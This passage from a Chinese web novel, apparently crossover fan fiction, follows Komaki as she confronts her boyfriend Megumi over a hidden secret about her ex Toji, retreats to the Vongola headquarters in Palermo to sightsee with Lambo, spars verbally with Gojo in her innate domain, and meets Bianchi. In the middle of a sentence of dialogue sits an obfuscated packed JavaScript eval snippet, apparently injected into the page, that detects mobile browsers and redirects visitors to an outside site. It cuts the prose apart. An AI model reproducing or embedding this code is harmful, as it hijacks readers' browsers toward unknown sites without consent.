“没什么,今天你回家挺早的嘛。” 小莳现在心情确实不好,男友在刚刚已经醒来,证据就是他习惯在醒来以后给她发消息,也算是很有迷惑性的老实行为。这样看似真诚事事有着落的人,也会隐瞒重要的信息。 人还真是复杂的生物。 嘴角勾起一个笑,她回:“追着年方二十几的年轻女人从自己家出来,不怕你老婆误会吗?” “……” 把泽田家光堵的哑口无言,小莳再次表演了就地消失。 等到离高专还有十分钟左右时才重新打开手机,没回任何人消息,改了个ID。 她暂时不打算理会五条悟,他的故意隐瞒大抵是真,连验证都不需要小莳大概就知道,她也确实因此恼怒。可如果凭这个就去找他对峙……人最终要为自己的行为负责,全是她自己选的,没什么发作的由头。 不管了,先记仇,以后想办法找他麻烦。 与其责怪自己,不如抱怨他人。 小莳先回高专的宿舍里躺了一会,随后决定去伏黑惠那边看看,她还没想好接下来和他要怎么办。但有一句谚语,大概是说犹豫不决的时候就选择抛硬币,在硬币于空中时,人心里就会明白自己所期待的结果是什么。她要去见一眼他。 伏黑惠正在宿舍里,敲门的时候他在晾晒刚洗好的衣服。 没等他先开口,小莳先对他说:“今天我在并盛遇到一位故人,他对我说了有趣的事情。现在我们开始快问快答,关于我的前男友,你知道多少?”对重要事项她喜欢开门见山,况且现在她的思路也不清晰,兜圈子不如单刀直入的切进主题。 小莳说话的神态如常,所用也是她一贯的句式,就好像只是在就午餐内容询问男友的意见,可话语的内容像一截箭镞直击没入伏黑惠的心脏。 伏黑惠思想一片空白,意识模糊不清挣扎着想让嘴张开说些什么,他知道,原本掩藏在自己内心深处的恐惧不安在今天冲破了一片虚幻假象,赤裸裸暴露在两人之间。 因欺瞒而得来的爱情,或许也会随真相大白而消散。 伏黑惠艰难开口,如履薄冰:“小莳,你--见到他了?” 他可怜兮兮的像一只小狗,这模样小莳差点要心疼了,只是一想到他做了什么,她再度变得铁石心肠:“是不是觉得很突然?人在遇到突发事件的时候往往不能发挥良好,可以理解,因为刚刚我也像你一样没做好准备。说不定比你现在更笨拙也不一定呢?幸好没有摄像头在拍我。” 小莳打算从这个可怜的摇摇欲坠的少年身上得到点说法,结果他比他应当表现出来的样子更无措,好像她才是那个咄咄逼人的坏家伙。 伏黑惠几次张口最后什么都没说。 眼前这个不堪负荷的脆弱男友才是一切的罪魁祸首。小莳失望地望了他一眼,曾经被她戏称为绿宝石的眼睛现在黯淡无光,也许他的心智还不够成熟,不能够负担他所做的选择,也许他也是千千万万个不能为自己的错误付出正确代价的个体之一,只是她之前都没发现。 总之,目前为止收获为0。小莳准备离开。 她回头拧门把手的时候刚开的门被大力合上,发出砰的巨响。小莳被他挤在门上动弹不得,皱眉。没等她呵斥他冲过来的莽撞,伏黑惠就自己退开些许并且慌张和她道歉:“对不起小莳,我没想到会这么用力,我只是,我只是不想你走。” 小莳不搭理他,回过头继续准备离开。 伏黑惠身形纤瘦,力道却不小,他把她拥在怀里,一一数着自己的错误:“都是我不好,你别走,是我瞒着你,是我太胆怯不敢告诉你,我太喜欢你了。” 这话她可不爱听,对这种调调过敏,尤其是今天:“一个两个都这么说,可只不过是说的都好听,却做着完全不同的事。难道出问题的反而是我吗?!” “不!不是的,你没做错任何事!”伏黑惠打断她,他说:“是我不敢坦白,是我因为想着你因为他在而拒绝我的可能性而畏缩,都是我的错,是我因为纠结不敢开口。小莳,你不要离开。” 伏黑惠断断续续的话语在空气中漂浮,喘息在小莳颈窝处流窜,“是我错了,小莳,求求你,别走。” 他抬起头,眼里是哀伤,在小莳的脸颊、唇上落下细细密密的吻,泪珠沿着他的脸颊滚落:“说句话,小莳,你不要这样,回应我。” 伏黑惠早就设想过女友知道真相以后的反应,他甚至想过她可能要和她分手断绝关系,他以为自己已经有所准备。只是在这一天真正到来的时候,他的心里却有了巨大的裂痕,他难以修复。处处受限,无法思考,动弹不得,而她还什么过分的话都没说。伏黑惠知道,也许从这一刻开始,他才真正开始正视这件事。以往较之现在,不过是浅尝辄止的小小试探,是他不敢直视深窥的一瞥,他拒绝面对可能存在的感情的结束,可现实总是唐突,这一天终于来到。 小莳问,这是一次再次确认:“你从什么时候知道的?” 他不敢开口,小莳也不催促,时间在静谧里消磨。然后他挫败地说:“涩谷那天,我看见他了。” 小莳缓缓闭上眼,和他爸说的时间完全一致。这是最重要的问题,而在那之后,其余细枝末节的事项反而无关紧要,她没什么想问的了。 人在生气的时候原来真的会想笑。 人对人的感情并不会因为突发事件而折损,小莳一肚子刻薄话止于咽喉,她甚至不愿意摆出疾言厉色的脸。可现实存在的问题并不会因为情感而消弭,她需要好好思考关于欺骗与真相发掘之后的事。 讲不清道理没关系,她以前是个精于善后的人,现在也很懂该如何总结:“哦。知道了。我并不后悔和你交往,也不后悔喜欢你,不过我们都需要一些时间各自静静。”小莳决定回意大利一趟,就在刚刚,想法成型的一瞬她就做出了决定。 这个说法伏黑惠不算陌生,是他曾经听过的,小莳的前任伏黑甚尔,当她谈起时,她也说过并不后悔;她在分手时说的话也是分开一段时间。 然后呢?然后她再也没有把那人放在心上过。 “别这样对我,小莳。不要和我分手。” 他的拥抱逐渐让小莳喘不过气来,她还没决定要离开他,所以她轻声说:“你弄疼我了,我们不一定会分手。” 这是一句实话,却不是伏黑惠想听的实话,他渴求得到的是她的承诺,她的谅解,而不是悬而未决的考核结果。伏黑惠有种预感,只要小莳开始以审视的目光评估他们的交往,最后的结果总会令人失望。 “我喜欢你,小莳。你吻我的那天晚上,是我一生最幸运的时候。我爱你。”可他又贪婪地渴盼未来和她一起的每一天,以致于不能接受打破美梦的尖锐事实。 小莳这一生还没对谁说过爱这种深刻字眼,今天一日之内得到了双份,不过是口头上的,也没见他们真的做什么。说内心没有触动是假话,她也有点惊愕,开口也变得轻忽大意:“谢谢你的爱,你是今天第二个这么说的,但我得走了。”镇定是她的假面具,实际上今天小莳也有些慌乱,现在就想收拾行李离开。她应该要联系奈亚,不知道最近学校里有没有事情处理,他能否顺利请假。 小莳心不在焉,没发现自己说了多余的话,让男友陷入更深的不安。她背着的手在门上摸索,寻找把手。伏黑惠再一次如临深渊,他说过的每一句话都是伏黑甚尔说过的,她与他的时时刻刻大抵在伏黑甚尔那边也有相似的经历,自己从来没有什么特殊的可以称道的地方,而他的忠诚也因为隐瞒的揭发而沾了污点,他或许一生都摆脱不掉。 在最后一次尝试时她成功推开了男友,顺着两人之间的空隙挤到了门口,。临走时,伏黑惠拉着她的右手腕,近乎哀求地开口,他问了一个问题,这是曾经就有了答案的问题:“如果小莳一开始就知道伏黑甚尔在这里,还会选择和我在一起吗?” 小莳回头,在他惶惶的神色里回忆起上一次她的回答,大概是说看了他就会绕道走。她突然就心软了,也是,倘若他开始就开诚布公坦白一切,岂非是一种对未来的拒绝,同时,也消除了他们之间的所有可能。 她想,也难怪他耻于开口。 她没有回答,只是叹了口气,对他缓声说:“我只是需要一些时间,等我联系你,好吗?” 大家都深有苦衷,那么她去意大利多留几天也情有可原。 小莳在走廊上没忍住,又回头看,她的男友麻木倚着门框朝她离去的方向看,他的身形和道路旁顽固的老树一样,半死不活中凸显倔强,直到她回头眼中才有了神采,他还想说些什么。小莳吓得赶紧扭回去,加快脚步上楼梯,没看见他启唇复闭口,失望的脸。 她回房后给奈亚发了信息,初步设想是先请两周假,宿舍里个人用品全部带走,做好再也不回的准备。一长串的消息发出去,夹杂数条长长短短的语音,她着重抱怨了包括伏黑惠在内的几人的知情不报,有一定概率她想永久离开东京。 对面只发来了省略号,这让小莳觉得很不妙。 已读不回必有苦衷:奈亚,莫非你也…… 他没回。 小莳气笑了,如果他在她面前她一定要大发雷霆,但他不在,所以她只是吩咐:你不用请假了,最近我不大想见你,放学你直接回去并盛就行。 自己生活是一门学问,但小莳只是不情愿靠自己,不是丧失自理能力的病患,在客观条件的胁迫下,她生出一股韧劲,当天下午她就坐上了前往意大利的飞机,离开了日本这个伤心地。 东京人,坏。 奈亚不能算东京的,但他四舍五入也是在这变得不老实,东京,风水不好。 她乘上离开的飞机,自动掌握阴阳五行相关学说,对社会学、人类学也有了深入的见解,点评起来日本的一切都是,不好,不好,不好,除了并盛。并盛是沧海遗珠,除了夏油杰。 夏油杰,坏。五条悟,坏。伏黑惠……伏黑甚尔,哎,算了,一笔糊涂账。 小莳在飞机上关了手机后,下飞机也没再打开。 到机场时已经过了小莳的睡觉时间,然而由于时差这里还是下午,晚霞下的行人不绝,过海关后她兑换了点钱,上了出租车。 她没在意报了地址后司机的微妙神色,毕竟是彭格列总部,本地人普通人多少会忌惮。年轻的司机很快有活力又试探地对她说了句日安,不太标准的日语。 她点点头,回了句:“我是意大利人,要看身份证明吗?” 他连忙说不用不用,随即和她聊起此行的目的。小莳虽然困倦,然而和热情健谈的人聊聊天能缓解不快情绪,她随即给自己编造了一个Mafia高层的外国情妇身份,此行前来是为了要遣散费,并且寻求新的就业机会。 “我被绿了,也变强了,现在我要自己谋生,从彭格列起步,然后一步一步干到守护者。这一次,我要夺回属于我的一切。” 不管他信不信,变幻莫测的表情取悦到了通过车内后视镜看他的小莳,她闭口再不说话,司机也不再打扰她,直到熟悉的景色进入她的眼睛,她才降下车窗,感受傍晚的风。 普通的小白车停在复古恢弘的建筑前,吸引了门口黑衣墨镜模样人的注意,他们一步一步向这走来,司机有些紧张,和她确认:“我以前没在这停过车,你确定是要来这里吗?” 小莳对他说:“Absolutely。”然后没付钱直接下车,对认出她而鞠躬的那人招招手,“你,你帮我把钱付了。” 真不错,总部的安保还认得她。 她没回头,大摇大摆进了门。这里的一切都很新,显然装潢没多久。彭格列:拆家与重建,但一切都和她记忆里出入不大,是怀念的感觉。 一二楼是文员的办公区,小莳穿过行道上了电梯,直接去不需要刷卡的最高楼层,4楼,然后从消防通道进了属于首领和守护者的七楼。 今日值守的安保员认出了她,但警惕层出不穷的幻术,和主管汇报了此事。主管的上头可能还有领导,一层一层上去,五分钟后,她在会议室见到了许久未见的入江正一。 “小正,好久不见!” 在听到这个只有白兰和她会叫的绰号时他就知道,眼前这人的身份稳了。他们有两年没见,都说青少年的每一天都和前一天不同,可在他看来小莳和16岁的时候变化不大,他收回那句本来想说的你长高了,只是说:“好久不见,小莳。怎么突然回来了。” 她张口胡诌:“接到了事关家族危急存亡的紧急任务,是最高保密信息。你,真的想听吗?” 入江正一的神色紧张起来,屏退下属们和保安,然后问她:“怎么了?” 她说:“恋爱遇到了障碍,从日本逃回来了。” “……” 她先见到了像初来乍到实习生一样没活的蓝波,又在晚餐时分见到了兄长,今天有些守护者在外任务,她正好占用用餐名额和大家一起吃了点。 没空和他们促膝长谈,刻不容缓的是入睡流程,在她的生物钟里,现在已经进入深夜,她匆忙给爱哭鬼蓝波布置了任务:帮她买个手机,以及新的手机卡。明早起来她就要看到。 在他不满的抱怨中,小莳拿出每一次她压迫他的说辞:“十岁的时候你打赌输给我,输的人要做赢的人忠实的奴隶,你---” “知道了知道了,我去还不行吗!”他满脸通红捂住小莳的嘴,眼神则望向坐在首席看着他们微笑的泽田纲吉。 小莳觉得此事非同一般,睡觉也不是不可以再等等,回老家吃个晚饭就一不小心撞破了一起恋爱话题:“蓝波你?”阿纲还真是一如既往魅力四射。 蓝波不好意思和她多聊,直接离席。 她也不久留,和大家打了招呼以后就前往房间睡大觉。 第二天,小莳元气满满起床,只要多睡4个小时,就可以完美调整生物钟,现在她已经是意大利时区的形状。她没错过彭格列的集团早餐,今天是芝麻菜火腿三明治搭配橙汁,其他人则是咖啡。 “蓝波,你现在不仅是把头发梳成大人的模样,口味都成黑咖啡了!” 蓝波充耳不闻,像在新环境混出头后就不搭理旧伙伴的坏东西,虽然他大概率只是想在心上人面前展现一下成熟。 小莳是不明白黑咖啡是怎么能和成熟魅力挂钩的,她对苦东西没兴趣,也不妨碍她是美丽受欢迎的高质量女性。她将蓝波此行为鉴定为看见其他守护者都这样,所以有样学样的爱情盲目行为。 她暂时不需要兄长的陪伴,对方也忙,只请求蓝波陪小莳几天,当然,阿纲的说辞很客气,讲的是“替我照顾她”。 蓝波本来就是她朋友,加上这是心上人的请求,他当场就答应。 下午,根本就不想出门的小莳被他拉去了巴勒莫观光。 四角广场。 小莳手拿着冰激凌,戴着墨镜,不太讲究形象地舔去化掉的一边:“说真的,我在总部床上玩手机很快乐,你知道从身份来说我们都是意大利人对吧?不用给我介绍这些巴洛克的东西。” 蓝波好脾气地说:“知道啦,是我想看。之前没什么机会出来玩,本来想哪一天和彭格列一起的。你就当是陪我预演。” 小莳凑过去逗他:“约会?这我熟,这种事情哪里需要预演,跟着感觉走就行。我可是恋爱大师,信我的准没错。” 他提议:“拍张照再走?听说手机放在地上设置0.5焦距能把四栋建筑都拍进去。” 这倒是没问题,毕竟来都来了。小莳配合着蓝波的指令,和他面对面站在手机的两边,成功拍下一张观光照片。 “我要发网上,可以吗?”他把照片给她看,“我和彭格列互关了,发动态的时候他有消息提示。” 小莳不介意:“随你。” 他们又去看了普雷托利亚喷泉,在街巷里行走的时候还买了油炸饭团,里面有三文鱼和奶酪,不像日式也不像越南,味道不错。她和他说着:“如果好吃我们就称之为融合菜,难吃就推给其他国家。” 蓝波:“……”她好幼稚。 然后他们去了巴勒莫大教堂,外观已可以称伟岸,里头更是金碧辉煌。游客不少,两人在其中就像是水滴进入大海,完全融入观光客的氛围。 其中雕琢细致的墙壁,金线勾勒的花纹,还有几经修复的油画,小莳跟着蓝波的规划登顶,俯瞰整座城,还望见了远处的第勒尼安海和山峦。 “景色不错。”他们留了影。 小莳对这里的地下墓穴没兴趣,两人又回到教堂主殿,找了个位置坐下,蓝波选择了一个糟糕的话题开启方式:“听说你去年年底和咒术师交往了,怎么样,是那个高专的学生吗?” 小莳对他摇摇头:“不怎么样,下一个环节吧。”skipskip。 蓝波就说起了自己,他的朋友不多,而大部分守护者已经在阿纲身边待得时间很久,算来算去他能找的军师也只有小莳,“你怎么看?” 她很诚实:“我觉得一张床上睡不下这么老些人。已经有6个心动嘉宾了,好歹每周也让阿纲轮一天休息日,不然对肾不好。” “……” 一天的观光结束,晚上泡澡时,小莳看见蓝波在动态里@自己,发布了一组特意设置成九宫格的照片,尺寸也都调成了正方形。 真是男大十八变,粗心大意连手榴都能弄丢的蓝波也有了现在这种暗搓搓做好一切等人垂爱的样子。 她的账号仍然是十六岁之前的那一个,手机号家里也一直给留着。这些她之前倒是没想到,总之就是感动,有人等自己回家的感觉真好。她翘着腿给蓝波点了个赞,还写了评论:以后绝对是个好男友,未来可期。 回来的第三天,他们去看了马西莫剧院,小莳还有点挂念昨天吃的奇奇怪怪的但美味的面包糠饭团,这次她选了豌豆碎牛肉口味,踩雷了。 他们坐在剧院门口的台阶上,小莳吃着新买的提拉米苏,蓝波吃饭团。 他说人多也没办法,因为喜欢。 她建议有这种心思直接去告白,在背后和同龄人逞勇气就像是考试后才开始复习。 蓝波很郁闷:“我不想被拒绝,如果不能提高成功率,注定被拒绝的话,告白也没有意义吧。” 小莳看着他,小莳没有说话。 她想起了伏黑惠,不是有意的。但他开始的时候不露声色也不对她表达好感,在他们交往后对于伏黑甚尔的消息三缄其口,是否也是害怕被她拒绝呢? 她过了会说:“也许你说得对,文学家总会过分渲染爱本身的魅力,可实际上,表达爱意的话要是情侣才会觉得甜美,其余时候就只是……怎么说呢,脑细胞的浪费。”爱情不是孤芳自赏,说出来的话都期待回应。 提拉米苏很好吃,带一块回去晚上接着吃。 回到西西里的第四天,他们去了海滩。细软的沙,蓝色的天,绿色的水,让她想起了伏黑惠的眼睛。说起来甚尔的眼睛也是同样的绿色,真希也是,可能是禅院家祖传。不过真希的头发是墨绿色。 小莳很快将东京的事情剔除出脑袋,转而和蓝波分享起自己为了今天做的准备:“为了比基尼,我剃了腋毛,顺便把腿毛也解决了,脱毛蜡纸很大,不用完就扔很可惜。” 这种事情他没兴趣知道,给小莳买可颂堵住她的嘴,他自己则是喝起了套餐里的黑咖啡。 “你从什么时候开始喝咖啡的?”咖啡这东西,味道香醇,喝起来就不讨人喜欢。拿铁的味道并非不能接受,但那是奶和糖的功劳,与咖啡豆无关,她不如跳过吃苦那部分直接喝甜牛奶。 “一直有在喝。” “得了吧,之前我们都是喝汽水还有酒的,或者奶茶。” 蓝波说喝汽水有点幼稚,饮酒则像叛逆期的青少年,还是咖啡靠谱。所以他也只是被概念所迷惑,未必真的爱上这苦涩。很难说爱情引诱他做下了多少改变。小莳耸肩,人会对小时候照顾自己的人动情,也是不算新鲜的事情。 他说:“你一眼就看出来了,可他们好像什么也没发现,是真的没发现吗?还是只是想糊弄?” 说到这她可就骄傲了:“我可是恋爱大师,所以你别气馁,说不定他们是真的笨,灯下黑呗。” 蓝波嘟囔:“那你也会恋爱出现问题。”算是反驳。 小莳虽然也很苦恼,但绝对不是“喜欢的人不喜欢我”的苦恼,在这点上她还是可以笑一笑:“我是因为现任和前任都太爱我了,所以才有问题的!” 他问起了情况,然后提出建议:“你和他们都在一起就得了。我看你也不是不喜欢那个甚尔,他帮过你很多次吧?彭格列也一直很照顾我,人总是会喜欢照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413149|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的人。” 小莳对他竖起大拇指,但在她开口前,蓝波继续抒发自己的观点:“如果你不喜欢他的话,在一开始就不会用在一起的方法报恩。说是报恩,可小莳,你最讨厌以身相许的桥段了。” 爱情的盲目在蓝波身上可见一斑,即使小莳说的是自己的事情,他也将目光更多聚焦在能投射到自己身上的事情,他也受了其他守护者的很多关照,可最后喜欢上的,也只有泽田纲吉一个人。 小莳在他说完心中所想后,点头:“说得好,但我好像忘记和你提了一点。我的前任和现任是父子关系,DNA能测出来的那种。谢谢你帮甚尔上分,我替他对你表达感谢。” 一个看起来没心没肺的家伙分手四个月以后突然出现说我爱你,小莳至今没什么实感。 咖啡撒在了沙滩上。 是的,不是高难度恋爱她不谈。 在回去的车上,蓝波问:“不是说孩子才三岁吗?”怎么转眼上高中了。 小莳摆摆手:“时差吧,而且听说那时候其实惠惠在小一。疑似我前任只是不管小孩,然后记错了年龄。这可是我们两个小时候最爱的一集:失踪的父亲。” ……蓝波长大以后回看人生,才意识到波维诺家族的人派5岁的自己来出任务是极其荒谬的事情,他在伏黑惠身上看到了相似的令人啼笑皆非的童年。“那他挺可怜的,母亲去世了。等等,你不是说他对你还可以,有奈亚几分体贴,是优秀的标准了,做父亲却会失职吗?” “也许是因为我开了工资,也许是因为甚尔是个恋爱脑,你选个能接受的说法吧,我不太乐意思考这些。” “真是随意,如果我也可以随随便便和彭格列恋爱就好了。” 他在做梦,小莳懒洋洋敲碎他的幻想:“首先,挡在你面前的是前锋里包恩。”没赶上好时候的少年,等他长大,阿纲身边已经蓝颜环绕。 蓝波叹气:“还真是君生我未生。” 小莳瞥他一眼,下一句明明是我生君已老,阿纲年轻着呢。小莳在泳衣外穿了件棉质连衣裙,最外套了件大衣,比起蓝波的衣衫不整花外套正式许多,他们在回程路上的海鲜酒馆随意吃了点。 “你不喝酒了?” “不了,我兄长坚持到法定年龄才能饮酒。”小莳在他拍照完毕后才开动海鲜沙拉,吃海鲜就要吃蛤蜊。 他也就此展开:“那这两年你也变了一点,以前的你才不会把别人的话放在心上。” 小莳反驳:“只是不把你的话放在心上。” 她的童年玩伴很受伤,小莳给他介绍了自己在另一个世界的生活,包办的父亲热衷于使子女按照自己的意志行事,兄长是最大的受害者,也沾染了一点强势的熏陶,在有些事情上并不开明。但他是个好哥哥,所以她愿意忍一忍。 他问,那他知道你是杀手吗? 小莳点头,他知道,并且开始以为她是受胁迫在过苦日子,深感怜惜。误会解除以后也认为自己有责任保护她。“征十郎总觉得我会被骗。”结果她还真被男人骗了,哎,又想起恋爱的事情。 离开东京本意就是远离纷扰和烦恼,没想到她反而会主动自找麻烦。 小莳喜欢油炸食品,她点了炸海鲜拼盘作主食,又额外单点一份里面没有的炸小鱼,裹了粉的海鲜被上下齿咬合发出咔滋咔滋的声音,她尤其喜欢里面的炸虾,和天妇罗虾是两种虾,两种味道,除去品种大概是因为香料和蛋黄酱的原因。 她很快做出判断:“里面放了烟熏红椒和欧芹。” 而蓝波只能吃出好吃二字。 * 夜晚入睡时,有意想不到的客人造访她的生得领域。小莳被庭院里帮她种了一棵树的六道骸唤醒,她一般不习惯入睡后进领域,这两天也都没进去。 “不要乱改动别人的装修结构啊,骸。”她揉着眼睛变了一把安乐椅,然后躺进去,这会的阳光明媚反而令人觉得晃眼,也许领域里还是要有白天黑夜之分。 他笑着前来看热闹,小莳也不问他是从哪里知道她恋爱遇到问题的,反正骸总有自己的消息渠道,经常比彭格列一个部门都灵通。 幻术师是这样的。 “并不是所有人都能进入自己的内心世界,而你的更是连我也没法探测,恭喜你,小莳。她看起来是很好的地方,就是有点光秃秃。” 咒术师们把它唤作生得领域,其实都是同一个东西。 “这就是你在这种树的理由吗?感觉不如菠萝树。”六道骸的发型是凤梨头。 由六道骸率先笑呵呵动手,两人进行了一番幻术技巧的友好交流。 骸给她科普:“菠萝树只有灌木那么高。” “哦呦,你很懂嘛,不愧是专业人士。” 小莳一句话拉长了交流的时间。 五条悟来到群魔乱舞的庭院时,被一颗巨型的苹果砸中了头,离开无下限术式的第一秒,想它。六眼倒是一如既往地在工作,然而等它分析出眼前的事物乃幻觉,那已经切实对他造成了真实伤害。 小莳本来准备板着脸的,但也许是包括教堂在内的景点洗清了她的大部分怨念,她颇为和善地与身在东京的咒术师解释:“咒术在这里还没被发明出来。如果是我的水果砸中你就更好了。”小莳选择的英雄是大菠萝。 六道骸对突然出现的五条家主很有兴趣,他们曾经在东京见过:“没想到在两位伏黑先生之外,你和五条家的家主也有牵扯呢,真是像你的哥哥,小莳。” 他这么想虽然武断,但也并非没道理。内心世界听起来就是很私密的地方,事实也确实如此。并且大部分人根本意识不到自己有这么个东西。想要进入他人的,除罕见的天赋外,还要有特殊的羁绊才行,要么就是将人视为从属的附身,不过那是复仇者监狱严令禁止的违规行为,一经发现就要制裁。 五条悟很懂顺杆往上爬的道理,这几天他每天都有在凌晨四点入睡,只有今天成功进入了小莳的领域,无论如何他想和她说上话:“没错,其实我之前有和小莳求婚,但是被拒绝了。” 被明明关系不熟的两人一唱一和编排了的主人公面无表情,她声音冰冷:“你们有考虑过结为兄弟吗?一个叫五条悟,一个叫六道骸,我觉得很合适。哦对,他还有六眼。” “呀,生气了,那我先走了,去蓝波的梦里看看。”六道骸发现了小莳心情不美丽,有些奇怪她何至于反应这么大,但也意识到是自己说错了话。他算是了解小莳的人之一,这种时候只要还在场就是一种火上浇油,他准备离开去看看情敌。 “……”小莳盯着他离开的方向,目送他离开。心想,蓝波真可怜,骸绝对会做过分的戏弄。而她现在也一点也不想和五条悟说话,不若也选择出去。 “等等等等,你已经一百个小时没有回我消息了,小莳!”五条悟听见了她的话,又看到六道骸没有留恋的离开,也知道情况不妙,加上她直接离开日本前往意大利的事情……他连忙拦住她再想走的身影,给学生背了个锅:“是我让小惠瞒着你的,因为我真的很讨厌那个男人,他杀了我一次诶!我只是想当他死了而已。” “喔,我看你像海鲜市场的鱼一样活蹦乱跳。看来‘那个男人’不太专业,如果是我的话你就没有今天了。” “好残忍,一定要这样说吗?我可是很伤心的。”五条悟用刻意轻柔的语调说着在高专门口他是如何被先捅了一刀,又被天逆牟刺中咽喉,然后浑身被小刀戳的痛楚,这是一种示弱的手段,五条悟不知怎的很擅长此道:“他实在是太坏了,我讨厌他!要不是在千钧一发的时候掌握了反转术式,就没有人帮理子妹妹报仇了捏!” 小莳是一个追求不因情感影响理智的人,正如在此之前她并不因伏黑甚尔作为赏金猎人接取任务而过多鄙夷这种行为,现在她也知道五条悟没在信口开河,他的隐瞒,情有可原。而且理子,严格意义上的完美受害人,平静的生活因为消息泄漏被打破,原本的使命也晦暗不明,本以为最终能过上和亲人朋友一起美好的生活,最后却…… 总之,如果她不在米花的话,大概人生就那样以带有荒诞色彩的悲剧终结。好人也会遭遇不幸,善恶报偿是虚构的概念,小莳一向知道。可她认识理子,知道她是很好的活泼的姑娘,她喜欢她,当然不愿意见到她落得糟糕的下场。 五条悟也喜欢好人。他在一切尚未发生时就站在了伏黑甚尔的另一边……小莳联想到虎杖,如果那天他不幸去世,虽然概率不大,她一定也不介意亲手干掉几个高层。 好吧,大家都没有做错什么,全部都是人之常情,结果坏事全落她一个人头上了,小莳在心底里冷笑,这种安排她一点也不想要。 五条悟看她脸色越来越差,但是他莫名其妙对自己的话术充满自信:首先,小莳还没离开,其余没了,他接着往下说:“要怪就怪他自己坏事做多了谁也对不起,现在还大摇大摆出现在你面前。禅院直毗人可是给了他这个数,买小惠的钱。” 小莳这会心烦意乱,听到八卦也震惊了,隔了十年还能重启交易?她没想着摆架子,挑了自己关注的问:“怎么少了一半?” 五条悟抬起右手,像击掌又像数字5:“游云的钱!是我强烈主张他们扣掉的,最终这5亿也没到我手里。无所谓,只要不给他就行。” 小莳听说在惠小学的时候五条家已经帮他平了账,这会禅院家主还能坚持把钱给到甚尔头上,看来是真的很想要惠惠回归本家。没事,只要五条悟还活着一切都好说。 人的情绪一旦被冲淡,怒火也难再重聚。小莳看他没先前那种气愤了,但也还不乐意搭理:“知道了。你现在可以离开。” “不~要~,不请我喝杯茶吗?” “不,我明天还有事,请你离开。” “哼,不就是和你的新欢出去玩嘛!我们都看见ins了,你知道小惠这几天在高专天天以泪洗面,和老师我哭诉你不要他了,我这才来找你。你不知道最近有多忙,高层那边的小聪明简直惨不忍睹,你答应我要帮我处理些事情的,结果又到了意大利。呜呜呜,我也要哭咯。” 见鬼的新欢,他什么时候有蓝波的ins账号的,还有什么以泪洗面……五条悟说话开口全是槽点,不过确实,咒术师一年四季全是旺季,他的忙碌也是大家有目共睹。 想是这么想,小莳嘴上必不可能认输:“你们居然没有一个人告诉我,伏黑甚尔在去年10月31日就来了,这又是谁的问题?” 他大声喊:“我错了嘛!对不起!小莳!所以那个彭格列雷守到底和你是什么关系!小惠已经三天没有和我们聊天了!” 到底是哪里来的理直气壮。她才不惯着:“跟蓝波一点关系也没有,反正谈恋爱的时候做错事情的又不是我!不和你多说,我睡觉去了。” 自证只会越来越心虚,小莳扭头离开了不垂堂,在刚刚,她无师自通学会了驱逐不受欢迎的来客,五条悟也被她赶回了天刚亮的东京。 在无光的巴勒莫深夜,小莳沉沉睡去。 82. 第 82 章 第五天,蓝波顶着能做广告对比图的黑眼圈吃早餐,他的眼里闪着困倦的泪花。今天不再是导览路线,小莳被他带到一家西餐厅,她的任务是让目标顺利食用金牌厨师做的菜肴。 小莳在这家牛排店遇见了故人,金牌厨师竟是碧洋琪。 她上一次见到这位粉发美女还是在罗马,一别三年,她的厨艺还是和以前一样令人绝望。毕竟是料理型杀手。 如此,在场的三位分别是泽田纲吉男友的前女友兼泽田纲吉另一个男朋友的姐姐、泽田纲吉的妹妹、泽田纲吉的隐形追求者兼长得像泽田纲吉男友的前女友的初恋的家伙。 一个小小的后厨真是装不下这么复杂的人际关系。 小莳婉拒了碧洋琪友善提供的【隼人最爱吃】曲奇,顺便打发了浑身不自在的蓝波,自己留在后厨做帮工,帮忙洗菜切菜和称重。 碧洋琪说自己已经忘了罗密欧了,让小莳和蓝波没必要紧张,她不至于和小自己一轮的男生置气。罗密欧是她的初恋,分手以后关系一度很差,最后因为碧洋琪的一道炒面离开人世,小莳看过这位享年18岁的前男友照片,和蓝波简直一模一样。 要说二重身,这边才是真的,她长得反而和五条悟没那么像。小莳因为自身的关系对这个概念有了好奇,她向碧洋琪询问了更多关于罗密欧的事情:“他和蓝波在其他地方像吗?” 小莳听说罗密欧的魂魄在阿纲上学时期的一次试胆大会里出现过,然后因为害怕幽灵使用十年后火箭炮导致十年后蓝波被打了一顿。 “不太像,是个令人烦躁的男人,不过打不过我。当然,蓝波也同样实力不如我。”她勾起一个怀念的笑容,也许是想到了初恋忌日的回忆,心里暖洋洋的。 小莳和她小时候就有点喜欢的大姐姐说起了自己在世界融合后遇到的六眼最强,他们在有些地方有些相似,而在灵魂上……她说了五条悟可以畅通前往她内心世界的事情。 不同的人有不同的看法,碧洋琪是家族联姻的结晶,自小她便渴望纯粹无暇的真情,所以对父亲真正心爱情人所生的狱寺隼人甚是怜爱,现在和弟弟关系也很不错。不过说到爱情,男人的感情有多少只有他们知道,目前她还没找到自己的灵魂伴侣,她说:“那你应该和他在一起,灵魂上的共鸣最难寻觅,我曾经也以为我和里包恩是真爱,哎。” 结果里包恩去了日本找了个徒弟玩起了师生恋……小莳帮她补充上了后半句。碧洋琪也真是的,在abc里选了钝角。 她有这样的见解不难理解,但小莳对五条悟从来没有过这样的想法,她说:“有种骨科的扭曲感。你也不会想和隼人在一起的,对吧?” 对方放下刀,不太讲究地又用手挽起了头发,眼神妩媚:“说来你哥哥到底有什么魅力,怎么他们都喜欢他?” 危险危险,小莳心中警铃大作,表面只是调侃一样回答:“不知道,我没领教过,你要不和阿纲谈一谈,我是说恋爱。”前任甩了你,你就撬他墙角,华丽转身和他现任谈一个。 泽田纲吉不是碧洋琪喜欢的类型,她偏好有主张又自信的,杀伐果断的,有坚定人格的异性莲,她对这项提议一点兴趣也无:“算了,反正我早不喜欢里包恩了。那时候只是年纪小,才17。17岁的恋爱都不能当真。” 小莳狠狠点头,表示记住了,她理智上也是这么觉得。 